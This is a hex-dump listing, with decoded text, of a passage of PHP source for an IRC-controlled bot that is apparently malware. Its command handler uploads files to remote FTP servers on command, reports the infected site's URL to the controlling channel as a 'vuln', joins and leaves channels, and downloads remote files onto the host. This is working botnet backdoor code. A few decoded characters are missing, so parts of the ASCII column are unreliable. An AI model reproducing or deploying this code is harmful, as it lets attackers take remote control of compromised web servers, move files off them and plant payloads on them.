| 16000: | 09 | 09 | 2F | 2F | 66 | 74 | 70 | 3A | 2F | 2F | 75 | 73 | 65 | 72 | 3A | 70 | 61 | 73 | 73 | 77 | 6F | 72 | 64 | 40 | 68 | 6F | 73 | 74 | 2E | 63 | 6F | 6D | | //ftp://user:password@host.com |
| 16032: | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 70 | 66 | 74 | 70 | 20 | 3D | 20 | 70 | 61 | 72 | 73 | 65 | 5F | 75 | 72 | 6C | 28 | |
$pftp = parse_url( |
| 16064: | 20 | 24 | 6D | 63 | 6D | 64 | 5B | 31 | 5D | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 66 | 69 | 6C | 65 | 20 | | $mcmd[1] );
$file |
| 16096: | 3D | 20 | 24 | 6D | 63 | 6D | 64 | 5B | 32 | 5D | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 64 | 65 | 73 | 74 | 20 | 3D | | = $mcmd[2];
$dest = |
| 16128: | 20 | 24 | 6D | 63 | 6D | 64 | 5B | 33 | 5D | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | | $mcmd[3];
|
| 16160: | 09 | 09 | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 20 | 65 | 6D | 70 | 74 | 79 | 28 | 20 | 24 | 70 | 66 | 74 | 70 | 5B | 20 | 27 | 68 | 6F | 73 | 74 | 27 | 20 | 5D | | if( empty( $pftp[ 'host' ] |
| 16192: | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7C | 7C | 20 | 65 | 6D | 70 | 74 | 79 | 28 | 20 | 24 | 70 | 66 | 74 | 70 | | )
|| empty( $pftp |
| 16224: | 5B | 20 | 27 | 75 | 73 | 65 | 72 | 27 | 20 | 5D | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7C | 7C | 20 | 65 | 6D | | [ 'user' ] )
|| em |
| 16256: | 70 | 74 | 79 | 28 | 20 | 24 | 70 | 66 | 74 | 70 | 5B | 20 | 27 | 70 | 61 | 73 | 73 | 27 | 20 | 5D | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | pty( $pftp[ 'pass' ] )
|
| 16288: | 09 | 09 | 09 | 09 | 09 | 7C | 7C | 20 | 65 | 6D | 70 | 74 | 79 | 28 | 20 | 24 | 66 | 69 | 6C | 65 | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | || empty( $file )
|
| 16320: | 09 | 09 | 09 | 09 | 09 | 7C | 7C | 20 | 65 | 6D | 70 | 74 | 79 | 28 | 20 | 24 | 64 | 65 | 73 | 74 | 20 | 29 | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | | || empty( $dest ) )
|
| 16352: | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | | {
$this->pri |
| 16384: | 76 | 6D | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 20 | 22 | 5B | 20 | 75 | 70 | 66 | | vmsg( $this->get_chan( ), "[ upf |
| 16416: | 74 | 70 | 20 | 5D | 20 | 55 | 52 | 4C | 20 | 6C | 69 | 6E | 65 | 20 | 69 | 6E | 76 | 61 | 6C | 69 | 64 | 21 | 22 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | | tp ] URL line invalid!" );
|
| 16448: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 65 | 6C | 73 | 65 | 0D | 0A | 09 | 09 | 09 | | }
else
|
| 16480: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 63 | 6F | 6E | 6E | 5F | 69 | | {
$conn_i |
| 16512: | 64 | 20 | 3D | 20 | 66 | 74 | 70 | 5F | 63 | 6F | 6E | 6E | 65 | 63 | 74 | 28 | 20 | 24 | 70 | 66 | 74 | 70 | 5B | 20 | 27 | 68 | 6F | 73 | 74 | 27 | 20 | 5D | | d = ftp_connect( $pftp[ 'host' ] |
| 16544: | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 6C | 6F | 67 | 69 | 6E | 5F | 72 | 65 | 73 | 75 | 6C | 74 | 20 | | );
$login_result |
| 16576: | 3D | 20 | 66 | 74 | 70 | 5F | 6C | 6F | 67 | 69 | 6E | 28 | 20 | 24 | 63 | 6F | 6E | 6E | 5F | 69 | 64 | 2C | 20 | 24 | 70 | 66 | 74 | 70 | 5B | 20 | 27 | 75 | | = ftp_login( $conn_id, $pftp[ 'u |
| 16608: | 73 | 65 | 72 | 27 | 20 | 5D | 2C | 20 | 24 | 70 | 66 | 74 | 70 | 5B | 20 | 27 | 70 | 61 | 73 | 73 | 27 | 20 | 5D | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | | ser' ], $pftp[ 'pass' ] );
|
| 16640: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 20 | 28 | 20 | 21 | 24 | |
if( ( !$ |
| 16672: | 63 | 6F | 6E | 6E | 5F | 69 | 64 | 20 | 29 | 20 | 7C | 7C | 20 | 28 | 20 | 21 | 24 | 6C | 6F | 67 | 69 | 6E | 5F | 72 | 65 | 73 | 75 | 6C | 74 | 20 | 29 | 20 | | conn_id ) || ( !$login_result ) |
| 16704: | 29 | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | )
{
|
| 16736: | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | | $this->privmsg( $this->get_cha |
| 16768: | 6E | 28 | 20 | 29 | 2C | 20 | 22 | 5B | 20 | 75 | 70 | 66 | 74 | 70 | 20 | 5D | 20 | 46 | 54 | 50 | 20 | 63 | 6F | 6E | 6E | 65 | 63 | 74 | 69 | 6F | 6E | 20 | | n( ), "[ upftp ] FTP connection |
| 16800: | 66 | 61 | 69 | 6C | 65 | 64 | 21 | 22 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | | failed!" );
}
|
| 16832: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 65 | 6C | 73 | 65 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | | else
{
|
| 16864: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | 73 | 67 | 28 | 20 | 24 | 74 | | $this->privmsg( $t |
| 16896: | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 20 | 22 | 5B | 20 | 75 | 70 | 66 | 74 | 70 | 20 | 5D | 20 | 43 | 6F | 6E | | his->get_chan( ), "[ upftp ] Con |
| 16928: | 6E | 65 | 63 | 74 | 65 | 64 | 20 | 74 | 6F | 20 | 22 | 2E | 24 | 70 | 66 | 74 | 70 | 5B | 20 | 27 | 68 | 6F | 73 | 74 | 27 | 20 | 5D | 2E | 22 | 20 | 66 | 6F | | nected to ".$pftp[ 'host' ]." fo |
| 16960: | 72 | 20 | 75 | 73 | 65 | 72 | 20 | 22 | 2E | 24 | 70 | 66 | 74 | 70 | 5B | 20 | 27 | 75 | 73 | 65 | 72 | 27 | 20 | 5D | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | | r user ".$pftp[ 'user' ] );
|
| 16992: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 75 | 70 | 6C | 6F | 61 | 64 | 20 | 3D | 20 | 66 | 74 | 70 | 5F | 70 | 75 | 74 | 28 | 20 | 24 | 63 | | $upload = ftp_put( $c |
| 17024: | 6F | 6E | 6E | 5F | 69 | 64 | 2C | 20 | 24 | 64 | 65 | 73 | 74 | 2C | 20 | 24 | 66 | 69 | 6C | 65 | 2C | 20 | 46 | 54 | 50 | 5F | 42 | 49 | 4E | 41 | 52 | 59 | | onn_id, $dest, $file, FTP_BINARY |
| 17056: | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 20 | 21 | 24 | 75 | 70 | 6C | 6F | 61 | 64 | 20 | | );
if( !$upload |
| 17088: | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | )
{
|
| 17120: | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | | $this->privmsg( $this->get_ch |
| 17152: | 61 | 6E | 28 | 20 | 29 | 2C | 20 | 22 | 5B | 20 | 75 | 70 | 66 | 74 | 70 | 20 | 5D | 20 | 46 | 54 | 50 | 20 | 75 | 70 | 6C | 6F | 61 | 64 | 20 | 66 | 61 | 6C | | an( ), "[ upftp ] FTP upload fal |
| 17184: | 65 | 64 | 21 | 22 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | | ed!" );
}
|
| 17216: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 65 | 6C | 73 | 65 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | | else
{
|
| 17248: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | 73 | 67 | 28 | 20 | 24 | 74 | | $this->privmsg( $t |
| 17280: | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 20 | 22 | 5B | 20 | 75 | 70 | 66 | 74 | 70 | 20 | 5D | 20 | 46 | 54 | 50 | | his->get_chan( ), "[ upftp ] FTP |
| 17312: | 20 | 75 | 70 | 6C | 6F | 61 | 64 | 20 | 73 | 75 | 63 | 63 | 65 | 73 | 73 | 21 | 22 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | upload success!" );
|
| 17344: | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | | $this->privmsg( $this->get_ |
| 17376: | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 20 | 22 | 5B | 20 | 75 | 70 | 66 | 74 | 70 | 20 | 5D | 20 | 55 | 70 | 6C | 6F | 61 | 64 | 65 | 64 | 20 | 27 | 22 | 2E | | chan( ), "[ upftp ] Uploaded '". |
| 17408: | 24 | 66 | 69 | 6C | 65 | 2E | 22 | 27 | 20 | 74 | 6F | 20 | 27 | 22 | 2E | 24 | 64 | 65 | 73 | 74 | 2E | 22 | 27 | 22 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | | $file."' to '".$dest."'" );
|
| 17440: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | | }
}
|
| 17472: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 62 | 72 | 65 | 61 | 6B | 3B | 0D | | }
break;
|
| 17504: | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 63 | 61 | 73 | 65 | 20 | 22 | |
}
case " |
| 17536: | 6A | 6F | 69 | 6E | 63 | 68 | 61 | 6E | 22 | 3A | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | | joinchan":
{
|
| 17568: | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 63 | 68 | 61 | 6E | 6E | 65 | 6C | 20 | 3D | 20 | 24 | 6D | 63 | 6D | 64 | 5B | 31 | 5D | 3B | 0D | 0A | 09 | 09 | 09 | 09 | | $channel = $mcmd[1];
|
| 17600: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 6B | 65 | 79 | 20 | 3D | 20 | 24 | 6D | 63 | 6D | 64 | 5B | 32 | 5D | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | | $key = $mcmd[2];
|
| 17632: | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | | $this->privmsg( $this->get |
| 17664: | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 20 | 22 | 5B | 20 | 6A | 6F | 69 | 6E | 63 | 68 | 61 | 6E | 20 | 5D | 20 | 22 | 2E | 24 | 63 | 68 | 61 | 6E | 6E | | _chan( ), "[ joinchan ] ".$chann |
| 17696: | 65 | 6C | 2E | 22 | 20 | 3D | 3E | 20 | 22 | 2E | 24 | 6B | 65 | 79 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | | el." => ".$key );
$ |
| 17728: | 74 | 68 | 69 | 73 | 2D | 3E | 6A | 6F | 69 | 6E | 28 | 20 | 24 | 63 | 68 | 61 | 6E | 6E | 65 | 6C | 2C | 20 | 24 | 6B | 65 | 79 | 20 | 29 | 3B | 0D | 0A | 09 | | this->join( $channel, $key );
|
| 17760: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 62 | 72 | 65 | 61 | 6B | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | | break;
}
|
| 17792: | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 63 | 61 | 73 | 65 | 20 | 22 | 70 | 61 | 72 | 74 | 63 | 68 | 61 | 6E | 22 | 3A | 0D | 0A | 09 | 09 | |
case "partchan":
|
| 17824: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | | {
$this->p |
| 17856: | 72 | 69 | 76 | 6D | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 20 | 22 | 5B | 20 | 70 | | rivmsg( $this->get_chan( ), "[ p |
| 17888: | 61 | 72 | 74 | 63 | 68 | 61 | 6E | 20 | 5D | 20 | 22 | 2E | 24 | 6D | 63 | 6D | 64 | 5B | 31 | 5D | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | artchan ] ".$mcmd[1] );
|
| 17920: | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 73 | 65 | 6E | 64 | 28 | 20 | 22 | 50 | 41 | 52 | 54 | 20 | 22 | 2E | 24 | 6D | 63 | 6D | 64 | 5B | | $this->send( "PART ".$mcmd[ |
| 17952: | 31 | 5D | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | 1] );
}
|
| 17984: | 63 | 61 | 73 | 65 | 20 | 22 | 76 | 75 | 6C | 6E | 22 | 3A | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | | case "vuln":
{
|
| 18016: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 73 | 65 | 72 | 76 | 65 | 72 | 5F | 6E | 61 | 6D | 65 | 20 | 3D | 20 | 24 | 5F | 53 | 45 | 52 | 56 | 45 | 52 | 5B | | $server_name = $_SERVER[ |
| 18048: | 27 | 53 | 45 | 52 | 56 | 45 | 52 | 5F | 4E | 41 | 4D | 45 | 27 | 5D | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 72 | 65 | | 'SERVER_NAME'];
$re |
| 18080: | 71 | 5F | 75 | 72 | 69 | 20 | 3D | 20 | 24 | 5F | 53 | 45 | 52 | 56 | 45 | 52 | 5B | 27 | 52 | 45 | 51 | 55 | 45 | 53 | 54 | 5F | 55 | 52 | 49 | 27 | 5D | 3B | | q_uri = $_SERVER['REQUEST_URI']; |
| 18112: | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 20 | |
if( |
| 18144: | 24 | 73 | 65 | 72 | 76 | 65 | 72 | 5F | 6E | 61 | 6D | 65 | 20 | 21 | 3D | 20 | 22 | 6C | 6F | 63 | 61 | 6C | 68 | 6F | 73 | 74 | 22 | 20 | 26 | 26 | 20 | 24 | | $server_name != "localhost" && $ |
| 18176: | 73 | 65 | 72 | 76 | 65 | 72 | 5F | 6E | 61 | 6D | 65 | 20 | 21 | 3D | 20 | 22 | 31 | 32 | 37 | 2E | 30 | 2E | 30 | 2E | 31 | 22 | 20 | 29 | 0D | 0A | 09 | 09 | | server_name != "127. . .1" )
|
| 18208: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 20 | 73 | 74 | | {
if( st |
| 18240: | 72 | 6C | 65 | 6E | 28 | 20 | 24 | 73 | 65 | 72 | 76 | 65 | 72 | 5F | 6E | 61 | 6D | 65 | 20 | 29 | 20 | 26 | 26 | 20 | 73 | 74 | 72 | 6C | 65 | 6E | 28 | 20 | | rlen( $server_name ) && strlen( |
| 18272: | 24 | 72 | 65 | 71 | 5F | 75 | 72 | 69 | 20 | 29 | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | | $req_uri ) )
{
|
| 18304: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 76 | 75 | 6C | 6E | 20 | 3D | 20 | 22 | 68 | 74 | 74 | 70 | 3A | 2F | 2F | 22 | 2E | 24 | 73 | | $vuln = "http://".$s |
| 18336: | 65 | 72 | 76 | 65 | 72 | 5F | 6E | 61 | 6D | 65 | 2E | 24 | 72 | 65 | 71 | 5F | 75 | 72 | 69 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | erver_name.$req_uri;
|
| 18368: | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | | $this->privmsg( $this->get_c |
| 18400: | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 20 | 22 | 5B | 20 | 67 | 65 | 74 | 76 | 75 | 6C | 6E | 20 | 5D | 20 | 22 | 2E | 24 | 76 | 75 | 6C | 6E | 20 | 29 | 3B | 0D | | han( ), "[ getvuln ] ".$vuln );
|
| 18432: | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | |
}
}
|
| 18464: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 62 | 72 | 65 | 61 | 6B | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | | break;
} |
| 18496: | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 63 | 61 | 73 | 65 | 20 | 22 | 64 | 6F | 77 | 6E | 6C | 6F | 61 | 64 | 22 | 3A | 0D | 0A | 09 | |
case "download":
|
| 18528: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 20 | 63 | 6F | 75 | | {
if( cou |
| 18560: | 6E | 74 | 28 | 20 | 24 | 6D | 63 | 6D | 64 | 20 | 29 | 20 | 3E | 20 | 32 | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | | nt( $mcmd ) > 2 )
{ |
| 18592: | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 20 | 21 | 24 | 66 | 70 | 20 | 3D | 20 | 66 | 6F | 70 | 65 | 6E | 28 | |
if( !$fp = fopen( |
| 18624: | 20 | 24 | 6D | 63 | 6D | 64 | 5B | 20 | 32 | 20 | 5D | 2C | 20 | 22 | 77 | 22 | 20 | 29 | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | $mcmd[ 2 ], "w" ) )
|
| 18656: | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | | {
$this->privm |
| 18688: | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 20 | 22 | 5B | 20 | 64 | 6F | 77 | 6E | 6C | | sg( $this->get_chan( ), "[ downl |
| 18720: | 6F | 61 | 64 | 20 | 5D | 20 | 50 | 65 | 72 | 6D | 69 | 73 | 73 | 69 | 6F | 6E | 20 | 64 | 65 | 6E | 69 | 65 | 64 | 21 | 22 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | | oad ] Permission denied!" );
|
| 18752: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 65 | 6C | 73 | 65 | 0D | | }
else
|
| 18784: | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 69 | |
{
i |
| 18816: | 66 | 28 | 20 | 21 | 24 | 67 | 65 | 74 | 20 | 3D | 20 | 66 | 69 | 6C | 65 | 28 | 20 | 24 | 6D | 63 | 6D | 64 | 5B | 20 | 31 | 20 | 5D | 20 | 29 | 20 | 29 | 0D | | f( !$get = file( $mcmd[ 1 ] ) )
|
| 18848: | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | |
{
|
| 18880: | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | | $this->privmsg( $this->get_chan |
| 18912: | 28 | 20 | 29 | 2C | 20 | 22 | 5B | 20 | 64 | 6F | 77 | 6E | 6C | 6F | 61 | 64 | 20 | 5D | 20 | 44 | 6F | 77 | 6E | 6C | 6F | 61 | 64 | 20 | 66 | 61 | 69 | 6C | | ( ), "[ download ] Download fail |
| 18944: | 65 | 64 | 21 | 22 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | | ed!" );
}
|
| 18976: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 65 | 6C | 73 | 65 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | | else
{
|
| 19008: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 66 | 6F | 72 | 28 | 20 | 24 | 69 | 3D | 30 | 3B | 20 | 24 | 69 | 20 | 3C | 3D | 20 | 63 | | for( $i= ; $i <= c |
| 19040: | 6F | 75 | 6E | 74 | 28 | 20 | 24 | 67 | 65 | 74 | 20 | 29 | 3B | 20 | 24 | 69 | 2B | 2B | 20 | 29 | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | ount( $get ); $i++ )
|
| 19072: | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 66 | 77 | 72 | 69 | 74 | 65 | | {
fwrite |
| 19104: | 28 | 20 | 24 | 66 | 70 | 2C | 20 | 24 | 67 | 65 | 74 | 5B | 20 | 24 | 69 | 20 | 5D | 20 | 29 | 3B | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | ( $fp, $get[ $i ] );
|
| 19136: | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | | }
$this->p |
| 19168: | 72 | 69 | 76 | 6D | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 22 | 5B | 20 | 64 | 6F | | rivmsg( $this->get_chan( ),"[ do |
